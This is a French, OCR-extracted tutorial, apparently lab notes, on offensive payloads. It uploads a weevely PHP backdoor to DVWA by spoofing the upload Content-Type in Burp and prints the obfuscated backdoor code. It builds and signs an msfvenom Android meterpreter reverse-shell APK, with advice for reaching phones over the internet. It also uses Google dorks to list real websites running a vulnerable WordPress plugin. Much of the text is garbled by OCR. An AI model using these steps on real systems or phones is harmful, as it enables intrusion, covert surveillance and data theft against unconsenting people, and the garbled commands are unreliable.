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Payload PHP

Dans ce rédactionnel nous allons voir comment injecter un payload php dans une
zone d'upload sur un site web (ici nous utiliserons DVWA pour notre site internet)

Outils
Tout d'abord vous aurez besoin de weevely ainsi que burpsuite et de de DVWA
fonctionnelle.

Démarche
Dans un premier temps nous générerons le payload a I'aide de [I'outil
« weevely ».

.
Fichier ~ Edition Affichage Signets Configuration Aide

/home/lucifere

4.9.1
following arguments are required: url, password

mand on the target
word> [cmd]

/home/lucifere

Pour générer le payload tapez la commande suivante : « weevely generate
<password> <path> »

generate te /nome,/ lucitere/payload. php

Voila le payload est généré maintenant nous allons aller sur notre page DVWA et
aller dans la catégorie « File Upload »
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@ Vulnerability: File Upl

S c @

N KaliLinux X Kali Training ¥{ Kal Ka ali Docs @\ NetHunter 1 Offen: curity

N 0O @

MSFU 4 Exploit-DB 4 GHDB

=
D\#A)
Vulnerability: File Upload

nstructions | e
‘Setup | Reset DB

Browse. No file selected

Brute Force
Upload

Command Injection

CSRF

File Inclusion More Information

Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)

XSS (Reflected)
XSS (Stored)

DVWA Security
PHP Info
About

Logout
Username: admin View Source | View Help

Security Level: medium
PHPIDS: disabled

Ici la difficulté a été mise sur medium.
Une fois que votre DVWA est prét nous allons lancer « burpsuite »

Lancer un « temporary project », utilisez « burp defaults », une fois burpsuit
lancé allez dans la catégorie « Proxy » puis dans « options ».

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

Intercept  HTTPhistory ~ WebSockets history ~ Options

@ Proxy Listeners

{8} Burp Proxy uses listeners ta receive incoming HTTP requests fram your browser. You will need to configure your browser to use ane of the listeners as its proxy server

| Add || Running Interface Invisible Redirect Certificate TLS Protocols
Edit 127.0.0.1:8080 Per-host Default
| Remove |
»

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating TLS connections. You can import or export this certificate for use in other tools or another installation of Burp

[ Import/ export CA certificate || Regenerate CA certificate |

@ Intercept Client Requests

{8} Use these settings to control which requests are stalled for viewing and editing in the Intercept tab

Intercept requests based on the following rules:

| Add || Enabled Operator Match type Relationship Condition
[ Edr | File extension Does not match (~gif§| ~ipg$| ~png$| ~css$| "is§|
or Request Contains parameters
| Remove | or HTTP method Does not match (get|post)
I w | And URL Is intargst scope >
| Down |

Automatically fix missing or superfluous new lines at end of request

Automatically update Content-Length header when the request is edited

Modifiez vos parametres navigateur afin de passer par le serveur proxy de
burpsuite et vérifiez bien que vous étes en « Intercept is off »
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Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project optians User optians

Intercept HTTP history Websockets history Options

Forward Dr Action | openBrowser - @
Use Burp's embedded browser 00 & G-I (e TG
. You'll need to perform a few additional steps to configure
There's no need to configure your proxy settings manually. Use T e e T
Burp's embedded Chromium browser to start testing right away. P GEr P e (T CCCTi e

[ _open browser | (Viaw doccmentation |

Using Burp Proxy Burp Proxy options Burp Proxy documentation

Fthis is your first time using Burp, you Reference information about the different The central point of access for all information

might want to take a look at our guide > options you have for customizing Burp > vou need to use Burp Proxy >
ta help you get the most out of your Proxy's behaviour

experience.

Une fois tout ceci prét nous allons pouvoir injecter notre payload.

Sur DVWA allez chercher votre payload et avant de cliquer sur « Upload » activez
« Intercept is On » sur burpsuite, cela nous permettra de « bloguer la requéte
pour pouvoir la modifier.

Une fois que I'on a cliqué sur upload nous pouvons voir sur burpsuite ceci :

Burp Project Intruder Repeater Window Help

Dashboard Target Froxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
Intercept HTTP history WebSockets history Options

_.f Requestto http://192.1668.124.140:80

| Forward I Drop ll  Interceptison | Action || OpenBrowser
Preth, m ‘n Actions v

POST /vulnerabilities/upload/ HTTP/1.1

Host: 152,168,124, 140

User-Agent: Mozillas/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/htnl,application/xhtml+xml,application/xml;q=0.9,inage/webp,*/*;q=0.8
Accept-Language: en-US,en;g=0.5

5 Accept-Encoding: gzip. deflate

Content-Type: multipart/form-data; boundary=-----------«--cmmmmmmonmnn 1474708741167757644421 65739993
Content-Length: 1167

S Origin: http://192,168.124.140

10 Connection: close

11 Referer: http://192,168.124,140/vulnerabilities/upload/

12 Cookie: PHPSESSID=autlb&fémdvmlhagimdgOvgel]3; security=medium

% Upgrade-Insecure-Requests: 1

U Wk

3 147470874116775764442165739993
& Content-Disposition: form-data; name="MAX_FILE SIZE"

looeoe
--147470874116775764442165739993
s name="uploaded"; filename="payload.php"

Content -Dispo
Content-Type:

=?php

$0="3"5k{$i}: }"‘*}ra‘turn $o;Yifes #(@preg_mat*chi"/gkrh( . +#)gkf/ ", @fil+re_ge’
§r=str_replacei'b’ ‘crebabbte_fbbunctbion')
$B='c*r($1=0;$i<$*l;J{fo**r‘($j=0:($j<$*c&&$i<*$l];*$j++,$i++*)**{$c‘=$*‘t{$i‘J
§Y="4$k="098F6*bcd**" ; §kh="4621d*373cade* " fkf="+4e83+24627h 4f 6" ; fpa="0+4T01" ;
$g="t_cont*entsi"pthp://*input "*) , $m*)==1) {@c*b_s*tart();+*@eva*li@gzu*n*comp";
§F="nd_cl*ean|); §re=@hase*Ed_enttcode( @x(@razcomtpress|fo)*, $k)*)* pritnt (" $D$kh$r$kf [E
§h="qZitSWpkgkkr"#*; functtion® xi§t,$k){$c=*strritenigk);§l=strienl$+t)+;o=""
$T='ressi@x(@basa*ﬁ4_da(ude**i$m[1]] #gkk)#) ) ; $o=@ob_gtet_ctontents(); @ob_*e';
$Mestr_replace( '#', "', $Y.$h.$6.50.$q.9T.5F);

Fh=fr( LM 5k();

=

---------------------------- 147470874116775764442165739993
Content-Disposition: form-data; name="Upload"

Upload

147470874116775764442165739993- -

Nous allons modifier le Content-Type car sinon DVWA nous donnera une erreur
car il attend une image et pas un fichier php, donc remplacez « application /x-
php » par « image/jpeg » et cliquez sur Forward (afin de faire suivre la requéte).
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Si tout c'est bien passé vous devriez avoir ce message rouge sur DVWA:

Choose an image to upload:

Browse... Mo file selected.

Upload

../ ../hackable/uploads/payload.php succesfully uploaded!

Nous allons vérifier si en effet notre fichier c’est bien upload en repassant sur
«Intercept is off » et en suivant L'URL donné.

@ O mspector Console [ Debugger 1) Network {} Style Editor () Performance {; Memory [ Storage < Accessibility §§ What's New ] + X
+ X thov «cis 4 [@ [ Layout Computed Changes Fonts  Anim.~
<html=> element i inline Flexbox
nead=</head 1
Selecta e contaner or e o coniu

</html>

Grid
CSS Grid is not in use on this page

Box Model

B

Cela nous donne une page blanche et c’est exactement ca que I'on veut car cela
signifie que le serveur web a bien détecté que c’était du PHP et I'a donc
interprété.

Maintenant retournons sur notre terminal et nous allons nous connecter a notre
backdoor.

Pour cela nous allons taper la commande suivante: «weevely <URL>
<password> »

vely 2. . 40/hackable/uploads/payload.php test]}

Comme I'on peut le voir j'ai bien réussi a me connecter.
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| Browse
| to the

ad. jpeg

ad.php
ww -data@db50251baab2: /app/hackable/uploads $ |

Android Payload

Outils:

Kali Linux
- msfconsole
- msfVenom

- android (une vieille version)

démarche

Allumer Kali Linux et préparer I’environnement de pénétration avec un terminal
root

msfvenom -P android/meterpreter/reverse tcp LHOST=IP LOCALE

LPORT=[Port Local] R > piratapp.apk

> |'option P sert a spécifier I'outil de payload et le switch R renvoit le format de
I"'applicatif a sauvegarder (apk est le format android)

Signer I'applicatif pour autoriser son exécution dans Android

Une série de commandes sert a signer et chiffrer une signature (comme avec
HTTPS/SSL). Deux commandes soont préinstallées dans Kali mais il faut terminer
avec zipalign pour la vérification finale au niveau de la signature.

Création d'un keystore

keytool -genkey -V -keystore key.keystore -alias hacked -keyalg RSA

-keysize 2048 -validity 10000
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signature

jarsigner -verbose -sigalg SHAlwithRSA -digestalg SHA1l -keystore

key.keystore android shell.apk hacked

vérification

jarsigner -verify -verbose -certs android shell.apk

installer zipalign et vérifier vers un nouvel apk

zipalign -v 4 android shell.apk singed jar.apk

Série installez I'application sur votre android, vérifiez que vous soyiez sur le
méme LAN. Pour faire du WAN, les commandes sont exactement les mémes, il
faut seulement ouvrir le port de votre routeur correspondant a celui spécifié dans
la variable d’environnement LPORT. Il faudra surtout spécifier I'IP publique de
votre machine attaquante et autoriser le port forwarding

WinPayload
Wazuh
Dorks-EYE
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Dorks Eye on Ubuntu

Introduction :

Qu’est-ce qu’une « Google Dorks » ?

Une Google Dorks est une combinaison de mots-clés reconnus par Google
permettent d'exploiter plus précisément les recherches du moteur. Leurs
utilisations sont ainsi courantes chez les hackers pendant leur phase de
repérage. Cela leur permet effectivement de récupérer une liste des sites ayant
une faille ou portant des informations diverses recherchées plus efficacement
qu’avec Google simplement.

Cette procédure prend place sur un ubuntu (installation fraiche), mais Dorks-Eye
n’étant pas installé par défaut sur Kali, ces instructions sont tout aussi valables
sur nos autres machines.

Installation :

Avant tout pour installer git avec EisiaERsFsia-RNNRNe SN

Exécuter ensuite la commande EjSleleie SRaNeaNoyol=

https://github.com/BullsEye(O/dorks-eye.qgit

rendez-vous dans le répertoire nouvellement créé : [elelelesa SEr=3V=

Installer ensuite python-pip avec EloiamER=Ra-RRN A adsYelsbdelle Si Ce n'est pas
fait et exécuter la commande [sERelIEEFEs-R NS Y6 FERA ([ olst-IN b 4

Voila c’est terminé !

Utilisation :

Pour I'exécuter lancez dorks-eye dans le bon répertoire précédé de python3
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root@mathieu-client: /home/mathieu/dorks-eye# Hifals thon3 dorks-eye.p

o

[+] Do You Like To Save The Output In A File? (Y/N) I

On choisit si on souhaite ou non sauvegarder les résultats de recherche et
ensuite la recherche que I'on souhaite effectuer.

[+] Do You Li
[!] Saving 1is

R e ik

[+] Enter The Dork Search Query: intext:"WordPress SEO plugin v1.7.1"
[+] Enter The Number Of Websites To Display: 25

Par exemple, on a ici une liste des 25 premiers sites d'ou peut étre exploité la
faille concernant « WordPress SEO plugin v1.7.1 ».

[+] Enter The Dork Search Query: intext:"WordPress SEO plugin vi.7.1"
[+] Enter The Number Of Websites To Display: 25

http://accessecurite.e-monsite.com/pages/actualite-et-articles/web/decouverte-des-google-dorks.html
https://docs.gravityview.co/article/211-opengraph-meta-tags-single-view-wordpress-seo-plugin
https://www.webrankinfo.com/forum/t/probleme-plugin-yoast-seo.178034/
https://www.growthhacking.fr/t/bonne-pratique-dune-recherche-google/1019
https://yoastseoplugin.blogspot.com/2018/11/download-yoast-premium-seo-nulled.html

6 https://stackoverflow.com/questions/27189414/stray-end-tag-head-and-an-body-start-tag-seen-but-an-element-of-the-same-type-wa
https://seventhqueen.com/support/forums/topic/dont-work-bbpress-tittle-description-image-meta/

8 https://github.com/ilfalegname/ilfalegname.github.io/blob/master/index.html
https://www.culte-du-code.fr/chapitre/explication-et-listes-de-google-dorks/
http://www.ukbus ssforums.co.uk/threads/naked-domain-in-wordpress-i-cannot-change.337343/

1 https://webs former.com/findtheme.info
https://www. 11| in.com/pulse/what-you-can-learn-seo-watching-holly-antle
https://issuu.com/ernestdolby/docs/straightfo1423924845.pdf
https://issuu.com/ernestdolby/docs/make_a_fre1423584882.pdf
https://davidegabellini.wixsite.com/studiocagrario/single-post/2016/02/02/1e-va %C3%A0-apirene-potranno-rilanciare-le-esportazioni
https://depelotaswebmx.wixsite.com/depelotasmx/single-post/2016/07/29/un-nuevo-comienzo
http://www.americloud.net/wp-content/uploads/contact-us
https://codepen.io/mariiakey/pen/yaBoBv
https://megatop.biz/threads/novyj-seo-plugin-dlja-optimizacii-i-vyvoda-v-top-wordpress.59081/
https://www.ecsfinancial.com/single-post/2016/11/01/get-ready-for-phase-out-of-bonus-depreciation
https://sallylynnmacdonald.com/wp-content/uploads/2612/11/blog
http://evuln.com/tools/malware-scanner/websalon.info/
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Difficultés
Ressayer

Conclusion

Les payloads sont faciles a exploiter et la sécurité initiale sur les produits
proposés au grand public peuvent ne pas suffire a protéger intégralement un
utilisateur. Sous simple instruction orale, il est donc possible de surveiller un
téléphone ou une tablette constamment et de récupérer toutes sortes de
données sans méme avoir d'acces root.

Sources (et ressources !)
Stack overflow, dvwa, super user, serverfault

https://www.cvedetails.com/vulnerability-list/vendor_id-14987/product_id-31309/
version_id-180595/Yoast-Wordpress-Seo-1.7.1.html

https://linuxhint.com/wpscan_wordpress_vulnerabilities _scan/
https://sharpforce.gitbook.io/cybersecurity/
https://tools.kali.org/web-applications/burpsuite
documentations de -help

github docs

https://github.com/nccgroup/Winpayloads (winpayload)

https://tools.kali.org/maintaining-access/weevely

https://www.vulnmachines.com/

https://sharpforce.qitbook.io/cybersecurity/walkthroughs/damn-vulnerable-
web-application/damn-vulnerable-web-application-dvwa tutoriaux fr

https://lab.pentestit.ru/

https://github.com/pascal-sun/file-upload
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